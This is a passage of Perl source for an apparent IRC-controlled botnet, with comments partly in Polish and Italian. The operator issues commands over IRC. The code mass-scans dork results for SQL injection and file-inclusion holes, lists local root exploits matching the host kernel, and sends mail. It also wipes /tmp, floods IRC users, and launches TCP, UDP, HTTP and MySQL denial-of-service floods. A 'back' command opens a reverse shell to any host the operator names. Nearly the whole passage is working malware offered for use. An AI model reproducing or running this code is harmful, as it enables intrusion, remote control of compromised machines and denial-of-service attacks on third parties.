  563.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  564.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  565.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  566.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  567.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  568.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  569.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  570.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  571.            
  572.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  573.            
  574.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  575.             my @puliti=&unici(@tot);
  576.            
  577.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  578.          
  579.             my $uni=scalar(@puliti);
  580.                  
  581.                   foreach my $sito (@puliti) {
  582.              
  583.                   $contatore++;
  584.                     if ($contatore %5==0){
  585.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  586.                     }
  587.                   sleep 3;
  588.                     if ($contatore==$uni-1){
  589.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  590.                     }  
  591.                   sleep 3;
  592.                     my $site="http://".$sito.$bug;
  593.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  594.          
  595.          $w=int rand(999);  
  596.          $w=$w*1000;
  597.          for($i=1;$i<=$columns;$i++) {
  598.             splice(@col,0,$#col+1);
  599.             for($j=1;$j<=$i;$j++) {
  600.                push(@col,$w+$j);
  601.             }  
  602.             $tmp=join(",",@col);
  603.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  604.             print $test."\n";
  605.             $result=get_html($test);
  606.             $result =~ s/\/\*\*\///g;
  607.             $result =~ s/UNION([^(\*)]*)//g;
  608.             for($k=1;$k<=$i;$k++) {
  609.                $n=$w+$k;
  610.                   if($result =~ /$n/){
  611.                      splice(@col2,0,$#col2+1);
  612.                         for($s=1;$s<=$i;$s++) {
  613.                            push(@col2,$s);
  614.                         }
  615.                      $tmp2=join(",",@col2);
  616.                      $test2="+UNION+SELECT+".$tmp2."/*";
  617.                      push @{$dane{$test2}},$k;
  618.                   }
  619.             }
  620.          }
  621.          for $klucz (keys %dane) {
  622.             foreach $i(@{$dane{$klucz}}) {
  623.                $klucz =~ s/$i/$i/;
  624.             }
  625.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  626.          }
  627.          %dane=();      
  628.             }
  629.       }
  630.    delproc($$);
  631.    exit;
  632.    }
  633. }
  634. #######  SQL SCANNER  #########
  635.  
  636. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  637. if (my $pid = fork) {
  638. waitpid($pid, 0);
  639. } else {
  640. if (my $d=fork()) {
  641. addproc($d,"[String] $2");
  642. exit;
  643. } else {
  644.       $kto = $1;
  645.       $host = $2;
  646.       $skrypt = $3;
  647.       $czekac=$4;
  648.      
  649.       #http://ttl.ugu.pl/string/index.php
  650.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  651.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  652.      
  653.       my @r = <$socke>;
  654.       $page="@r";
  655.    
  656.       $page =~ s/!scan(\s+)//g;
  657.       $page =~ s/!scan(.)//g;
  658.       $page =~ s/\<.*\>//g;
  659.      
  660.       @lines = split (/\n/, $page);
  661.       $ile=scalar(@lines);
  662.            
  663.      
  664.       for($i=9;$i<=$ile;$i+=4) {
  665.  
  666.          for($j=0;$j<4;$j++) {
  667.             #print $lines[$i+$j]."\n";
  668.            
  669.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  670.            
  671.             sleep 10;
  672.          }
  673.          
  674.          sleep $czekac*60;
  675.       }
  676.  
  677.    }
  678.       delproc($$);
  679.       exit;
  680.    }
  681. }
  682.  
  683.  
  684.  
  685.  
  686.  
  687. #######  SQL SCANNER  #########
  688.  
  689. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  690.    if (my $pid = fork()) {
  691.       waitpid($pid, 0);
  692.    } else {
  693.       if (my $d=fork()) {
  694.          addproc($d,"[SQL1] $1 $2");
  695.          exit;
  696.       } else {
  697.          my $site=$1;
  698.          my $columns=$2;
  699.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  700.          
  701.          $w=int rand(999);  
  702.          $w=$w*1000;
  703.          for($i=1;$i<=$columns;$i++) {
  704.             splice(@col,0,$#col+1);
  705.             for($j=1;$j<=$i;$j++) {
  706.                push(@col,$w+$j);
  707.             }  
  708.             $tmp=join(",",@col);
  709.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  710.                         #$result=query($test);
  711.             $result=get_html($test);
  712.    
  713.             $result =~ s/\/\*\*\///g;
  714.             $result =~ s/UNION([^(\*)]*)//g;
  715.             for($k=1;$k<=$i;$k++) {
  716.                $n=$w+$k;
  717.                   if($result =~ /$n/){
  718.                      splice(@col2,0,$#col2+1);
  719.                         for($s=1;$s<=$i;$s++) {
  720.                            push(@col2,$s);
  721.                         }
  722.                      $tmp2=join(",",@col2);
  723.                      $test2="+UNION+SELECT+".$tmp2."/*";
  724.                      push @{$dane{$test2}},$k;
  725.                   }
  726.             }
  727.          }
  728.          for $klucz (keys %dane) {
  729.             foreach $i(@{$dane{$klucz}}) {
  730.                $klucz =~ s/$i/$i/;
  731.             }
  732.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  733.          }
  734.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  735.       }
  736.    delproc($$);
  737.    exit;
  738.    }
  739. }
  740. #######  SQL SCANNER  #########
  741. ######################
  742. #        Rootable                                     #
  743. ######################
  744. if ($funcarg =~ /^rootable/) {
  745. my $khost = `uname -r`;
  746. my $currentid = `whoami`;
  747. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  748. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  749. chomp($khost);
  750.  
  751.    my %h;
  752.    $h{'w00t'} = {
  753.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  754.    };
  755.    
  756.    $h{'brk'} = {
  757.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  758.    };
  759.    
  760.    $h{'ave'} = {
  761.       vuln=>['2.4.19','2.4.20']
  762.    };
  763.    
  764.    $h{'elflbl'} = {
  765.       vuln=>['2.4.29']
  766.    };
  767.    
  768.    $h{'elfdump'} = {
  769.       vuln=>['2.4.27']
  770.    };
  771.    
  772.    $h{'expand_stack'} = {
  773.       vuln=>['2.4.29']
  774.    };
  775.    
  776.    $h{'h00lyshit'} = {
  777.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  778.    };
  779.    
  780.    $h{'kdump'} = {
  781.       vuln=>['2.6.13']
  782.    };
  783.    
  784.    $h{'km2'} = {
  785.       vuln=>['2.4.18','2.4.22']
  786.    };
  787.    
  788.    $h{'krad'} = {
  789.       vuln=>['2.6.11']
  790.    };
  791.    
  792.    $h{'krad3'} = {
  793.       vuln=>['2.6.11','2.6.9']
  794.    };
  795.    
  796.    $h{'local26'} = {
  797.       vuln=>['2.6.13']
  798.    };
  799.    
  800.    $h{'loko'} = {
  801.       vuln=>['2.4.22','2.4.23','2.4.24']
  802.    };
  803.    
  804.    $h{'mremap_pte'} = {
  805.       vuln=>['2.4.20','2.2.25','2.4.24']
  806.    };
  807.    
  808.    $h{'newlocal'} = {
  809.       vuln=>['2.4.17','2.4.19','2.4.18']
  810.    };
  811.    
  812.    $h{'ong_bak'} = {
  813.       vuln=>['2.4.','2.6.']
  814.    };
  815.    
  816.    $h{'ptrace'} = {
  817.       vuln=>['2.2.','2.4.22']
  818.    };
  819.    
  820.    $h{'ptrace_kmod'} = {
  821.       vuln=>['2.4.2']
  822.    };
  823.    
  824.    $h{'ptrace24'} = {
  825.       vuln=>['2.4.9']
  826.    };
  827.    
  828.    $h{'pwned'} = {
  829.       vuln=>['2.4.','2.6.']
  830.    };
  831.    
  832.    $h{'py2'} = {
  833.       vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  834.    };
  835.    
  836.    $h{'raptor_prctl'} = {
  837.       vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  838.    };
  839.    
  840.    $h{'prctl3'} = {
  841.       vuln=>['2.6.13','2.6.17','2.6.9']
  842.    };
  843.    
  844.    $h{'remap'} = {
  845.       vuln=>['2.4.']
  846.    };
  847.    
  848.    $h{'rip'} = {
  849.       vuln=>['2.2.']
  850.    };
  851.    
  852.    $h{'stackgrow2'} = {
  853.       vuln=>['2.4.29','2.6.10']
  854.    };
  855.    
  856.    $h{'uselib24'} = {
  857.       vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  858.    };
  859.    
  860.    $h{'newsmp'} = {
  861.       vuln=>['2.6.']
  862.    };
  863.    
  864.    $h{'smpracer'} = {
  865.       vuln=>['2.4.29']
  866.    };
  867.    
  868.    $h{'loginx'} = {
  869.       vuln=>['2.4.22']
  870.    };
  871.    
  872.    $h{'exp.sh'} = {
  873.       vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  874.    };
  875.    
  876.    $h{'prctl'} = {
  877.       vuln=>['2.6.']
  878.    };
  879.    
  880.    $h{'kmdx'} = {
  881.       vuln=>['2.6.','2.4.']
  882.    };
  883.    
  884.    $h{'raptor'} = {
  885.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  886.    };
  887.    
  888.    $h{'raptor2'} = {
  889.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  890.    };
  891.    
  892. foreach my $key(keys %h){
  893. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  894.    if($khost=~/^$kernel/){
  895.    chop($kernel) if ($kernel=~/.$/);
  896.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  897.       }
  898.    }
  899. }
  900. }
  901. ######################
  902. #       MAILER       #
  903. ######################
  904. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  905. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]  Mailer :. |  Sending Mail to : 2 $3");
  906. $subject = $1;
  907. $sender = $2;
  908. $recipient = $3;
  909. @corpo = $4;
  910. $mailtype = "content-type: text/html";
  911. $sendmail = '/usr/sbin/sendmail';
  912. open (SENDMAIL, "| $sendmail -t");
  913. print SENDMAIL "$mailtype\n";
  914. print SENDMAIL "Subject: $subject\n";
  915. print SENDMAIL "From: $sender\n";
  916. print SENDMAIL "To: $recipient\n\n";
  917. print SENDMAIL "@corpo\n\n";
  918. close (SENDMAIL);
  919. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]   Mailer :. |  Mail Sent To : 2 $recipient");
  920. }
  921. ######################
  922. #   End of MAILER    #
  923. ######################
  924. # A /tmp cleaner
  925. if ($funcarg =~ /^cleartmp/) {
  926.     system 'cd /tmp;rm -rf *';
  927.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  928.          }
  929. #-#-#-#-#-#-#-#-#
  930. # Flooders IRC  #
  931. #-#-#-#-#-#-#-#-#        
  932. # msg, @msgflood <who>
  933. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  934.    for($i=0; $i<=10; $i+=1){
  935.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  936.    }
  937.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  938. }
  939.          
  940. # dccflood, @dccflood <who>
  941. if ($funcarg =~ /^dccflood (.*)/) {
  942.    for($i=0; $i<=10; $i+=1){
  943.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  944.    }
  945.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  946. }      
  947. # ctcpflood, @ctcpflood <who>
  948. if ($funcarg =~ /^ctcpflood (.*)/) {
  949.    for($i=0; $i<=10; $i+=1){
  950.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  951.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  952.    }
  953.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  954. }      
  955. # noticeflood, @noticeflood <who>
  956.    if ($funcarg =~ /^noticeflood (.*)/) {
  957.       for($i=0; $i<=10; $i+=1){
  958.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  959.    }
  960.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  961. }      
  962. # Channel Flood, @channelflood
  963. if ($funcarg =~ /^channelflood/) {
  964.    for($i=0; $i<=25; $i+=1){
  965.       sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  966.    }
  967.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  968. }
  969. # Maxi Flood, @maxiflood
  970. if ($funcarg =~ /^maxiflood(.*)/) {
  971.    for($i=0; $i<=15; $i+=1){
  972.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  973.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  974.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  975.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");        
  976.    }
  977.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  978. }
  979. ######################
  980. #  irc    #
  981. ######################
  982.          if ($funcarg =~ /^reset/) {
  983.             sendraw($IRC_cur_socket, "QUIT :");
  984.          }
  985.          if ($funcarg =~ /^join (.*)/) {
  986.             sendraw($IRC_cur_socket, "JOIN ".$1);
  987.          }
  988.          if ($funcarg =~ /^part (.*)/) {
  989.             sendraw($IRC_cur_socket, "PART ".$1);
  990.          }
  991.          if ($funcarg =~ /^voice (.*)/) {
  992.             sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  993.            }
  994.          if ($funcarg =~ /^devoice (.*)/) {
  995.             sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  996.            }
  997.          if ($funcarg =~ /^halfop (.*)/) {
  998.             sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  999.            }
  1000.          if ($funcarg =~ /^dehalfop (.*)/) {
  1001.             sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1002.            }
  1003.          if ($funcarg =~ /^owner (.*)/) {
  1004.             sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1005.            }
  1006.          if ($funcarg =~ /^deowner (.*)/) {
  1007.             sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1008.          }
  1009.          if ($funcarg =~ /^op (.*)/) {
  1010.             sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1011.            }        
  1012.          if ($funcarg =~ /^deop (.*)/) {
  1013.             sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1014.            }
  1015. ######################
  1016. #End of Join And Part#
  1017. ######################
  1018. ######################
  1019. #     TCPFlood       #
  1020. ######################
  1021.  
  1022.          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1023.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1024.             my $itime = time;
  1025.             my ($cur_time);
  1026.             $cur_time = time - $itime;
  1027.             while ($3>$cur_time){
  1028.                $cur_time = time - $itime;
  1029.                &tcpflooder("$1","$2","$3");
  1030.             }
  1031.             sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1032.          }
  1033. ######################
  1034. #  End of TCPFlood   #
  1035. ######################
  1036. ######################
  1037. #               SQL Fl00dEr                     #
  1038. ######################
  1039. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1040. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1041. my $itime = time;
  1042. my ($cur_time);
  1043. $cur_time = time - $itime;
  1044. while ($2>$cur_time){
  1045. $cur_time = time - $itime;
  1046.    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1047.    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1048. close($socket);
  1049. }
  1050. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1051. }
  1052. ######################
  1053. #               VB DOS                     #
  1054. ######################
  1055. if ($funcarg =~ /^vbulletin_flood\s+(.*)\s+(\d+)/) {
  1056. use Socket;
  1057. if (@ARGV < 2) { &usage }
  1058. $rand=rand(10);
  1059. $host = $ARGV[0];
  1060. $dir = $ARGV[1];
  1061. $host =~ s/(http:\/\/)//eg;
  1062. for ($i=0; $i<10; $i--)
  1063. {
  1064. $user="vb".$rand.$i;
  1065. $data = "s="
  1066. ;
  1067. $len = length $data;
  1068. $foo = "POST ".$dir."index.php HTTP/1.1\r\n".
  1069. "Accept: * /*\r\n".
  1070. "Accept-Language: en-gb\r\n".
  1071. "Content-Type: application/x-www-form-urlencoded\r\n".
  1072. "Accept-Encoding: gzip, deflate\r\n".
  1073. "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
  1074. "Host: $host\r\n".
  1075. "Content-Length: $len\r\n".
  1076. "Connection: Keep-Alive\r\n".
  1077. "Cache-Control: no-cache\r\n\r\n".
  1078. "$data";
  1079. my $port = "80";
  1080. my $proto = getprotobyname('tcp');
  1081. socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
  1082. connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
  1083. send(SOCKET,"$foo", 0);
  1084. syswrite STDOUT, "+" ;
  1085. }
  1086. print "\n\n";
  1087. system('ping $host');
  1088. sub usage {
  1089. print "\tusage: \n";
  1090. print "\t$0 \n";
  1091. print "\tex: $0 127.0.0.1 /forum/\n";
  1092. print "\tex2: $0 127.0.0.1 /\n\n";
  1093. exit();
  1094. };
  1095.  
  1096. ######################
  1097. #   Back Connect     #
  1098.  
  1099. ######################
  1100.          if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1101.             my $host = "$1";
  1102.             my $porta = "$2";
  1103.             my $proto = getprotobyname('tcp');
  1104.             my $iaddr = inet_aton($host);
  1105.             my $paddr = sockaddr_in($porta, $iaddr);
  1106.             my $shell = "/bin/sh -i";
  1107.             if ($^O eq "MSWin32") {
  1108.                $shell = "cmd.exe";
  1109.             }
  1110.             socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1111.             connect(SOCKET, $paddr) or die "connect: $!";
  1112.             open(STDIN, ">&SOCKET");
  1113.             open(STDOUT, ">&SOCKET");
  1114.             open(STDERR, ">&SOCKET");
  1115.             system("$shell");
  1116.             close(STDIN);
  1117.             close(STDOUT);
  1118.             close(STDERR);
  1119.             if ($estatisticas){
  1120.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1121.             }
  1122.          }
  1123. ######################
  1124. #End of  Back Connect#
  1125. ######################
  1126. ######################
  1127. #    MULTI SCANNER   #
  1128. ######################
  1129. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1130. if (my $pid = fork) {
  1131. waitpid($pid, 0);
  1132. } else {
  1133. if (fork) {
  1134. exit;
  1135. } else {
  1136. my $bug=$1;
  1137. my $dork=$2;
  1138. my $contatore=0;
  1139.                   my ($type,$space);
  1140.                   my %hosts;
  1141.                   ### Start Message
  1142.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1143.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1144.                   ### End of Start Message
  1145. # Starting Google
  1146.    my @glist=&google($dork);
  1147. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1148.    my @mlist=&msn($dork);
  1149.    my @asklist=&ask($dork);
  1150.    my @allist=&alltheweb($dork);
  1151.    my @aollist=&aol($dork);
  1152.    my @lycos=&lycos($dork);
  1153.    my @ylist=&yahoo($dork);
  1154.    my @mzlist=&mozbot($dork);
  1155.    my @mamalist&mamma($dork);
  1156.    my @hlist=&hotbot($dork);
  1157.    my @altlist=&altavista($dork);
  1158.    my @slist=&search($dork);
  1159.    my @ulist=&uol($dork);
  1160.    my @fireball=&fireball($dork);
  1161. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1162. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1163. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1164. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1165. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1166. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1167. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1168. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1169. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1170. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1171. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1172. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1173. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1174. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1175. #
  1176. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1177. my @puliti=&unici(@tot);
  1178. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1179. my $uni=scalar(@puliti);
  1180. foreach my $sito (@puliti)
  1181. {
  1182. $contatore++;
  1183. if ($contatore %100==0){
  1184. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting  7[".$contatore."7]  of  7[".$uni. "7] Sites");
  1185. }
  1186. if ($contatore==$uni-1){
  1187. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for  $dork");
  1188. }
  1189. ### Print CMD and TEST CMD###
  1190. my $test="http://".$sito.$bug.$id."?";
  1191. my $print="http://".$sito.$bug.$cmd."?";
  1192. ### End of Print CMD and TEST CMD###
  1193. my $req=HTTP::Request->new(GET=>$test);
  1194. my $ua=LWP::UserAgent->new();
  1195. $ua->timeout(4);
  1196. my $response=$ua->request($req);
  1197. if ($response->is_success) {
  1198. my $re=$response->content;
  1199. if($re =~ /Mic22/ && $re =~ /uid=/){
  1200. my $hs=geths($print); $hosts{$hs}++;
  1201. if($hosts{$hs}=="1"){
  1202. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode = OFF :. | Vuln:  $print ");
  1203. }}
  1204. elsif($re =~ /Mic22/)
  1205. {
  1206. my $hs=geths($print); $hosts{$hs}++;
  1207. if($hosts{$hs}=="1"){
  1208. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode =  ON :. | Vuln:  $print  ");
  1209. }}
  1210. }}}
  1211. exit;
  1212. }}}
  1213. ######################
  1214. #End of MultiSCANNER #
  1215. ######################
  1216. ######################
  1217. #     HTTPFlood      #
  1218. ######################
  1219.          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1221.             my $itime = time;
  1222.             my ($cur_time);
  1223.             $cur_time = time - $itime;
  1224.             while ($2>$cur_time){
  1225.                $cur_time = time - $itime;
  1226.                my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1227.                print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1228.                close($socket);
  1229.             }
  1230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1231.          }
  1232. ######################
  1233. #  End of HTTPFlood  #
  1234. ######################
  1235. ######################
  1236. #     UDPFlood       #
  1237. ######################
  1238.          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1239.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1240.             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1241.             $dtime = 1 if $dtime == 0;
  1242.             my %bytes;
  1243.             $bytes{igmp} = $2 * $pacotes{igmp};
  1244.             $bytes{icmp} = $2 * $pacotes{icmp};
  1245.             $bytes{o} = $2 * $pacotes{o};
  1246.             $bytes{udp} = $2 * $pacotes{udp};
  1247.             $bytes{tcp} = $2 * $pacotes{tcp};
  1248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1249.          }
  1250. ######################
  1251. #  End of Udpflood   #
  1252. ######################
  1253.          exit;
  1254.       }
  1255.    }
  1256.  
  1257. sub ircase {
  1258.    my ($kem, $printl, $case) = @_;
  1259.    if ($case =~ /^join (.*)/) {
  1260.       j("$1");
  1261.    }
  1262.    if ($case =~ /^part (.*)/) {
  1263.       p("$1");
  1264.    }
  1265.    if ($case =~ /^rejoin\s+(.*)/) {
  1266.       my $chan = $1;
  1267.       if ($chan =~ /^(\d+) (.*)/) {
  1268.          for (my $ca = 1; $ca <= $1; $ca++ ) {
  1269.             p("$2");
  1270.             j("$2");
  1271.          }
  1272.       } else {
  1273.          p("$chan");
  1274.          j("$chan");
  1275.       }
  1276.    }
  1277.  
